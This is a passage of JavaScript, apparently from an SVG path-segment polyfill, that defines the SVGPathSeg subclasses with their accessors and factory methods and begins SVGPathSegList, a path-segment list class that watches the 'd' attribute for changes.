        Object.defineProperty(window.SVGPathSegMovetoRel.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegMovetoRel.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegLinetoAbs = function (owningPathSegList, x, y) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_LINETO_ABS, "L", owningPathSegList);
            this._x = x;
            this._y = y;
        }
        window.SVGPathSegLinetoAbs.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegLinetoAbs.prototype.toString = function () {
            return "[object SVGPathSegLinetoAbs]";
        }
        window.SVGPathSegLinetoAbs.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x + " " + this._y;
        }
        window.SVGPathSegLinetoAbs.prototype.clone = function () {
            return new window.SVGPathSegLinetoAbs(undefined, this._x, this._y);
        }
        Object.defineProperty(window.SVGPathSegLinetoAbs.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegLinetoAbs.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegLinetoRel = function (owningPathSegList, x, y) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_LINETO_REL, "l", owningPathSegList);
            this._x = x;
            this._y = y;
        }
        window.SVGPathSegLinetoRel.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegLinetoRel.prototype.toString = function () {
            return "[object SVGPathSegLinetoRel]";
        }
        window.SVGPathSegLinetoRel.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x + " " + this._y;
        }
        window.SVGPathSegLinetoRel.prototype.clone = function () {
            return new window.SVGPathSegLinetoRel(undefined, this._x, this._y);
        }
        Object.defineProperty(window.SVGPathSegLinetoRel.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegLinetoRel.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegCurvetoCubicAbs = function (owningPathSegList, x, y, x1, y1, x2, y2) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_ABS, "C", owningPathSegList);
            this._x = x;
            this._y = y;
            this._x1 = x1;
            this._y1 = y1;
            this._x2 = x2;
            this._y2 = y2;
        }
        window.SVGPathSegCurvetoCubicAbs.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegCurvetoCubicAbs.prototype.toString = function () {
            return "[object SVGPathSegCurvetoCubicAbs]";
        }
        window.SVGPathSegCurvetoCubicAbs.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x1 + " " + this._y1 + " " + this._x2 + " " + this._y2 + " " + this._x + " " + this._y;
        }
        window.SVGPathSegCurvetoCubicAbs.prototype.clone = function () {
            return new window.SVGPathSegCurvetoCubicAbs(undefined, this._x, this._y, this._x1, this._y1, this._x2, this._y2);
        }
        Object.defineProperty(window.SVGPathSegCurvetoCubicAbs.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicAbs.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicAbs.prototype, "x1", {
            get: function () {
                return this._x1;
            },
            set: function (x1) {
                this._x1 = x1;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicAbs.prototype, "y1", {
            get: function () {
                return this._y1;
            },
            set: function (y1) {
                this._y1 = y1;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicAbs.prototype, "x2", {
            get: function () {
                return this._x2;
            },
            set: function (x2) {
                this._x2 = x2;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicAbs.prototype, "y2", {
            get: function () {
                return this._y2;
            },
            set: function (y2) {
                this._y2 = y2;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegCurvetoCubicRel = function (owningPathSegList, x, y, x1, y1, x2, y2) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_REL, "c", owningPathSegList);
            this._x = x;
            this._y = y;
            this._x1 = x1;
            this._y1 = y1;
            this._x2 = x2;
            this._y2 = y2;
        }
        window.SVGPathSegCurvetoCubicRel.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegCurvetoCubicRel.prototype.toString = function () {
            return "[object SVGPathSegCurvetoCubicRel]";
        }
        window.SVGPathSegCurvetoCubicRel.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x1 + " " + this._y1 + " " + this._x2 + " " + this._y2 + " " + this._x + " " + this._y;
        }
        window.SVGPathSegCurvetoCubicRel.prototype.clone = function () {
            return new window.SVGPathSegCurvetoCubicRel(undefined, this._x, this._y, this._x1, this._y1, this._x2, this._y2);
        }
        Object.defineProperty(window.SVGPathSegCurvetoCubicRel.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicRel.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicRel.prototype, "x1", {
            get: function () {
                return this._x1;
            },
            set: function (x1) {
                this._x1 = x1;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicRel.prototype, "y1", {
            get: function () {
                return this._y1;
            },
            set: function (y1) {
                this._y1 = y1;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicRel.prototype, "x2", {
            get: function () {
                return this._x2;
            },
            set: function (x2) {
                this._x2 = x2;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicRel.prototype, "y2", {
            get: function () {
                return this._y2;
            },
            set: function (y2) {
                this._y2 = y2;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegCurvetoQuadraticAbs = function (owningPathSegList, x, y, x1, y1) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_ABS, "Q", owningPathSegList);
            this._x = x;
            this._y = y;
            this._x1 = x1;
            this._y1 = y1;
        }
        window.SVGPathSegCurvetoQuadraticAbs.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegCurvetoQuadraticAbs.prototype.toString = function () {
            return "[object SVGPathSegCurvetoQuadraticAbs]";
        }
        window.SVGPathSegCurvetoQuadraticAbs.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x1 + " " + this._y1 + " " + this._x + " " + this._y;
        }
        window.SVGPathSegCurvetoQuadraticAbs.prototype.clone = function () {
            return new window.SVGPathSegCurvetoQuadraticAbs(undefined, this._x, this._y, this._x1, this._y1);
        }
        Object.defineProperty(window.SVGPathSegCurvetoQuadraticAbs.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoQuadraticAbs.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoQuadraticAbs.prototype, "x1", {
            get: function () {
                return this._x1;
            },
            set: function (x1) {
                this._x1 = x1;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoQuadraticAbs.prototype, "y1", {
            get: function () {
                return this._y1;
            },
            set: function (y1) {
                this._y1 = y1;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegCurvetoQuadraticRel = function (owningPathSegList, x, y, x1, y1) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_REL, "q", owningPathSegList);
            this._x = x;
            this._y = y;
            this._x1 = x1;
            this._y1 = y1;
        }
        window.SVGPathSegCurvetoQuadraticRel.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegCurvetoQuadraticRel.prototype.toString = function () {
            return "[object SVGPathSegCurvetoQuadraticRel]";
        }
        window.SVGPathSegCurvetoQuadraticRel.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x1 + " " + this._y1 + " " + this._x + " " + this._y;
        }
        window.SVGPathSegCurvetoQuadraticRel.prototype.clone = function () {
            return new window.SVGPathSegCurvetoQuadraticRel(undefined, this._x, this._y, this._x1, this._y1);
        }
        Object.defineProperty(window.SVGPathSegCurvetoQuadraticRel.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoQuadraticRel.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoQuadraticRel.prototype, "x1", {
            get: function () {
                return this._x1;
            },
            set: function (x1) {
                this._x1 = x1;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoQuadraticRel.prototype, "y1", {
            get: function () {
                return this._y1;
            },
            set: function (y1) {
                this._y1 = y1;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegArcAbs = function (owningPathSegList, x, y, r1, r2, angle, largeArcFlag, sweepFlag) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_ARC_ABS, "A", owningPathSegList);
            this._x = x;
            this._y = y;
            this._r1 = r1;
            this._r2 = r2;
            this._angle = angle;
            this._largeArcFlag = largeArcFlag;
            this._sweepFlag = sweepFlag;
        }
        window.SVGPathSegArcAbs.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegArcAbs.prototype.toString = function () {
            return "[object SVGPathSegArcAbs]";
        }
        window.SVGPathSegArcAbs.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._r1 + " " + this._r2 + " " + this._angle + " " + (this._largeArcFlag ? "1" : "0") + " " + (this._sweepFlag ? "1" : "0") + " " +
                this._x + " " + this._y;
        }
        window.SVGPathSegArcAbs.prototype.clone = function () {
            return new window.SVGPathSegArcAbs(undefined, this._x, this._y, this._r1, this._r2, this._angle, this._largeArcFlag, this._sweepFlag);
        }
        Object.defineProperty(window.SVGPathSegArcAbs.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegArcAbs.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegArcAbs.prototype, "r1", {
            get: function () {
                return this._r1;
            },
            set: function (r1) {
                this._r1 = r1;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegArcAbs.prototype, "r2", {
            get: function () {
                return this._r2;
            },
            set: function (r2) {
                this._r2 = r2;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegArcAbs.prototype, "angle", {
            get: function () {
                return this._angle;
            },
            set: function (angle) {
                this._angle = angle;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegArcAbs.prototype, "largeArcFlag", {
            get: function () {
                return this._largeArcFlag;
            },
            set: function (largeArcFlag) {
                this._largeArcFlag = largeArcFlag;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegArcAbs.prototype, "sweepFlag", {
            get: function () {
                return this._sweepFlag;
            },
            set: function (sweepFlag) {
                this._sweepFlag = sweepFlag;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegArcRel = function (owningPathSegList, x, y, r1, r2, angle, largeArcFlag, sweepFlag) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_ARC_REL, "a", owningPathSegList);
            this._x = x;
            this._y = y;
            this._r1 = r1;
            this._r2 = r2;
            this._angle = angle;
            this._largeArcFlag = largeArcFlag;
            this._sweepFlag = sweepFlag;
        }
        window.SVGPathSegArcRel.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegArcRel.prototype.toString = function () {
            return "[object SVGPathSegArcRel]";
        }
        window.SVGPathSegArcRel.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._r1 + " " + this._r2 + " " + this._angle + " " + (this._largeArcFlag ? "1" : "0") + " " + (this._sweepFlag ? "1" : "0") + " " +
                this._x + " " + this._y;
        }
        window.SVGPathSegArcRel.prototype.clone = function () {
            return new window.SVGPathSegArcRel(undefined, this._x, this._y, this._r1, this._r2, this._angle, this._largeArcFlag, this._sweepFlag);
        }
        Object.defineProperty(window.SVGPathSegArcRel.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegArcRel.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegArcRel.prototype, "r1", {
            get: function () {
                return this._r1;
            },
            set: function (r1) {
                this._r1 = r1;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegArcRel.prototype, "r2", {
            get: function () {
                return this._r2;
            },
            set: function (r2) {
                this._r2 = r2;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegArcRel.prototype, "angle", {
            get: function () {
                return this._angle;
            },
            set: function (angle) {
                this._angle = angle;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegArcRel.prototype, "largeArcFlag", {
            get: function () {
                return this._largeArcFlag;
            },
            set: function (largeArcFlag) {
                this._largeArcFlag = largeArcFlag;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegArcRel.prototype, "sweepFlag", {
            get: function () {
                return this._sweepFlag;
            },
            set: function (sweepFlag) {
                this._sweepFlag = sweepFlag;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegLinetoHorizontalAbs = function (owningPathSegList, x) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_ABS, "H", owningPathSegList);
            this._x = x;
        }
        window.SVGPathSegLinetoHorizontalAbs.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegLinetoHorizontalAbs.prototype.toString = function () {
            return "[object SVGPathSegLinetoHorizontalAbs]";
        }
        window.SVGPathSegLinetoHorizontalAbs.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x;
        }
        window.SVGPathSegLinetoHorizontalAbs.prototype.clone = function () {
            return new window.SVGPathSegLinetoHorizontalAbs(undefined, this._x);
        }
        Object.defineProperty(window.SVGPathSegLinetoHorizontalAbs.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegLinetoHorizontalRel = function (owningPathSegList, x) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_REL, "h", owningPathSegList);
            this._x = x;
        }
        window.SVGPathSegLinetoHorizontalRel.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegLinetoHorizontalRel.prototype.toString = function () {
            return "[object SVGPathSegLinetoHorizontalRel]";
        }
        window.SVGPathSegLinetoHorizontalRel.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x;
        }
        window.SVGPathSegLinetoHorizontalRel.prototype.clone = function () {
            return new window.SVGPathSegLinetoHorizontalRel(undefined, this._x);
        }
        Object.defineProperty(window.SVGPathSegLinetoHorizontalRel.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegLinetoVerticalAbs = function (owningPathSegList, y) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_ABS, "V", owningPathSegList);
            this._y = y;
        }
        window.SVGPathSegLinetoVerticalAbs.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegLinetoVerticalAbs.prototype.toString = function () {
            return "[object SVGPathSegLinetoVerticalAbs]";
        }
        window.SVGPathSegLinetoVerticalAbs.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._y;
        }
        window.SVGPathSegLinetoVerticalAbs.prototype.clone = function () {
            return new window.SVGPathSegLinetoVerticalAbs(undefined, this._y);
        }
        Object.defineProperty(window.SVGPathSegLinetoVerticalAbs.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegLinetoVerticalRel = function (owningPathSegList, y) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_REL, "v", owningPathSegList);
            this._y = y;
        }
        window.SVGPathSegLinetoVerticalRel.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegLinetoVerticalRel.prototype.toString = function () {
            return "[object SVGPathSegLinetoVerticalRel]";
        }
        window.SVGPathSegLinetoVerticalRel.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._y;
        }
        window.SVGPathSegLinetoVerticalRel.prototype.clone = function () {
            return new window.SVGPathSegLinetoVerticalRel(undefined, this._y);
        }
        Object.defineProperty(window.SVGPathSegLinetoVerticalRel.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegCurvetoCubicSmoothAbs = function (owningPathSegList, x, y, x2, y2) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_ABS, "S", owningPathSegList);
            this._x = x;
            this._y = y;
            this._x2 = x2;
            this._y2 = y2;
        }
        window.SVGPathSegCurvetoCubicSmoothAbs.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegCurvetoCubicSmoothAbs.prototype.toString = function () {
            return "[object SVGPathSegCurvetoCubicSmoothAbs]";
        }
        window.SVGPathSegCurvetoCubicSmoothAbs.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x2 + " " + this._y2 + " " + this._x + " " + this._y;
        }
        window.SVGPathSegCurvetoCubicSmoothAbs.prototype.clone = function () {
            return new window.SVGPathSegCurvetoCubicSmoothAbs(undefined, this._x, this._y, this._x2, this._y2);
        }
        Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothAbs.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothAbs.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothAbs.prototype, "x2", {
            get: function () {
                return this._x2;
            },
            set: function (x2) {
                this._x2 = x2;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothAbs.prototype, "y2", {
            get: function () {
                return this._y2;
            },
            set: function (y2) {
                this._y2 = y2;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegCurvetoCubicSmoothRel = function (owningPathSegList, x, y, x2, y2) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_REL, "s", owningPathSegList);
            this._x = x;
            this._y = y;
            this._x2 = x2;
            this._y2 = y2;
        }
        window.SVGPathSegCurvetoCubicSmoothRel.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegCurvetoCubicSmoothRel.prototype.toString = function () {
            return "[object SVGPathSegCurvetoCubicSmoothRel]";
        }
        window.SVGPathSegCurvetoCubicSmoothRel.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x2 + " " + this._y2 + " " + this._x + " " + this._y;
        }
        window.SVGPathSegCurvetoCubicSmoothRel.prototype.clone = function () {
            return new window.SVGPathSegCurvetoCubicSmoothRel(undefined, this._x, this._y, this._x2, this._y2);
        }
        Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothRel.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothRel.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothRel.prototype, "x2", {
            get: function () {
                return this._x2;
            },
            set: function (x2) {
                this._x2 = x2;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothRel.prototype, "y2", {
            get: function () {
                return this._y2;
            },
            set: function (y2) {
                this._y2 = y2;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegCurvetoQuadraticSmoothAbs = function (owningPathSegList, x, y) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_ABS, "T", owningPathSegList);
            this._x = x;
            this._y = y;
        }
        window.SVGPathSegCurvetoQuadraticSmoothAbs.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegCurvetoQuadraticSmoothAbs.prototype.toString = function () {
            return "[object SVGPathSegCurvetoQuadraticSmoothAbs]";
        }
        window.SVGPathSegCurvetoQuadraticSmoothAbs.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x + " " + this._y;
        }
        window.SVGPathSegCurvetoQuadraticSmoothAbs.prototype.clone = function () {
            return new window.SVGPathSegCurvetoQuadraticSmoothAbs(undefined, this._x, this._y);
        }
        Object.defineProperty(window.SVGPathSegCurvetoQuadraticSmoothAbs.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoQuadraticSmoothAbs.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegCurvetoQuadraticSmoothRel = function (owningPathSegList, x, y) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_REL, "t", owningPathSegList);
            this._x = x;
            this._y = y;
        }
        window.SVGPathSegCurvetoQuadraticSmoothRel.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegCurvetoQuadraticSmoothRel.prototype.toString = function () {
            return "[object SVGPathSegCurvetoQuadraticSmoothRel]";
        }
        window.SVGPathSegCurvetoQuadraticSmoothRel.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x + " " + this._y;
        }
        window.SVGPathSegCurvetoQuadraticSmoothRel.prototype.clone = function () {
            return new window.SVGPathSegCurvetoQuadraticSmoothRel(undefined, this._x, this._y);
        }
        Object.defineProperty(window.SVGPathSegCurvetoQuadraticSmoothRel.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegCurvetoQuadraticSmoothRel.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });

        // Add createSVGPathSeg* functions to window.SVGPathElement.
        // Spec: http://www.w3.org/TR/SVG11/single-page.html#paths-Interfacewindow.SVGPathElement.
        window.SVGPathElement.prototype.createSVGPathSegClosePath = function () {
            return new window.SVGPathSegClosePath(undefined);
        }
        window.SVGPathElement.prototype.createSVGPathSegMovetoAbs = function (x, y) {
            return new window.SVGPathSegMovetoAbs(undefined, x, y);
        }
        window.SVGPathElement.prototype.createSVGPathSegMovetoRel = function (x, y) {
            return new window.SVGPathSegMovetoRel(undefined, x, y);
        }
        window.SVGPathElement.prototype.createSVGPathSegLinetoAbs = function (x, y) {
            return new window.SVGPathSegLinetoAbs(undefined, x, y);
        }
        window.SVGPathElement.prototype.createSVGPathSegLinetoRel = function (x, y) {
            return new window.SVGPathSegLinetoRel(undefined, x, y);
        }
        window.SVGPathElement.prototype.createSVGPathSegCurvetoCubicAbs = function (x, y, x1, y1, x2, y2) {
            return new window.SVGPathSegCurvetoCubicAbs(undefined, x, y, x1, y1, x2, y2);
        }
        window.SVGPathElement.prototype.createSVGPathSegCurvetoCubicRel = function (x, y, x1, y1, x2, y2) {
            return new window.SVGPathSegCurvetoCubicRel(undefined, x, y, x1, y1, x2, y2);
        }
        window.SVGPathElement.prototype.createSVGPathSegCurvetoQuadraticAbs = function (x, y, x1, y1) {
            return new window.SVGPathSegCurvetoQuadraticAbs(undefined, x, y, x1, y1);
        }
        window.SVGPathElement.prototype.createSVGPathSegCurvetoQuadraticRel = function (x, y, x1, y1) {
            return new window.SVGPathSegCurvetoQuadraticRel(undefined, x, y, x1, y1);
        }
        window.SVGPathElement.prototype.createSVGPathSegArcAbs = function (x, y, r1, r2, angle, largeArcFlag, sweepFlag) {
            return new window.SVGPathSegArcAbs(undefined, x, y, r1, r2, angle, largeArcFlag, sweepFlag);
        }
        window.SVGPathElement.prototype.createSVGPathSegArcRel = function (x, y, r1, r2, angle, largeArcFlag, sweepFlag) {
            return new window.SVGPathSegArcRel(undefined, x, y, r1, r2, angle, largeArcFlag, sweepFlag);
        }
        window.SVGPathElement.prototype.createSVGPathSegLinetoHorizontalAbs = function (x) {
            return new window.SVGPathSegLinetoHorizontalAbs(undefined, x);
        }
        window.SVGPathElement.prototype.createSVGPathSegLinetoHorizontalRel = function (x) {
            return new window.SVGPathSegLinetoHorizontalRel(undefined, x);
        }
        window.SVGPathElement.prototype.createSVGPathSegLinetoVerticalAbs = function (y) {
            return new window.SVGPathSegLinetoVerticalAbs(undefined, y);
        }
        window.SVGPathElement.prototype.createSVGPathSegLinetoVerticalRel = function (y) {
            return new window.SVGPathSegLinetoVerticalRel(undefined, y);
        }
        window.SVGPathElement.prototype.createSVGPathSegCurvetoCubicSmoothAbs = function (x, y, x2, y2) {
            return new window.SVGPathSegCurvetoCubicSmoothAbs(undefined, x, y, x2, y2);
        }
        window.SVGPathElement.prototype.createSVGPathSegCurvetoCubicSmoothRel = function (x, y, x2, y2) {
            return new window.SVGPathSegCurvetoCubicSmoothRel(undefined, x, y, x2, y2);
        }
        window.SVGPathElement.prototype.createSVGPathSegCurvetoQuadraticSmoothAbs = function (x, y) {
            return new window.SVGPathSegCurvetoQuadraticSmoothAbs(undefined, x, y);
        }
        window.SVGPathElement.prototype.createSVGPathSegCurvetoQuadraticSmoothRel = function (x, y) {
            return new window.SVGPathSegCurvetoQuadraticSmoothRel(undefined, x, y);
        }

        if (!("getPathSegAtLength" in window.SVGPathElement.prototype)) {
            // Add getPathSegAtLength to SVGPathElement.
            // Spec: https://www.w3.org/TR/SVG11/single-page.html#paths-__svg__SVGPathElement__getPathSegAtLength
            // This polyfill requires SVGPathElement.getTotalLength to implement the distance-along-a-path algorithm.
            window.SVGPathElement.prototype.getPathSegAtLength = function (distance) {
                if (distance === undefined || !isFinite(distance))
                    throw "Invalid arguments.";

                var measurementElement = document.createElementNS("http://www.w3.org/2000/svg", "path");
                measurementElement.setAttribute("d", this.getAttribute("d"));
                var lastPathSegment = measurementElement.pathSegList.numberOfItems - 1;

                // If the path is empty, return 0.
                if (lastPathSegment <= 0)
                    return 0;

                do {
                    measurementElement.pathSegList.removeItem(lastPathSegment);
                    if (distance > measurementElement.getTotalLength())
                        break;
                    lastPathSegment--;
                } while (lastPathSegment > 0);
                return lastPathSegment;
            }
        }
    }

    if (!("SVGPathSegList" in window)) {
        // Spec: http://www.w3.org/TR/SVG11/single-page.html#paths-InterfaceSVGPathSegList
        window.SVGPathSegList = function (pathElement) {
            this._pathElement = pathElement;
            this._list = this._parsePath(this._pathElement.getAttribute("d"));

            // Use a MutationObserver to catch changes to the path's "d" attribute.
            this._mutationObserverConfig = {
                "attributes": true,
                "attributeFilter": ["d"]
            };
            this._pathElementMutationObserver = new MutationObserver(this._updateListFromPathMutations.bind(this));
            this._pathElementMutationObserver.observe(this._pathElement, this._mutationObserverConfig);
        }

        window.SVGPathSegList.prototype.classname = "SVGPathSegList";

        Object.defineProperty(window.SVGPathSegList.prototype, "numberOfItems", {
            get: function () {
                this._checkPathSynchronizedToList();
                return this._list.length;
            },
            enumerable: true
        });

        // Add the pathSegList accessors to window.SVGPathElement.
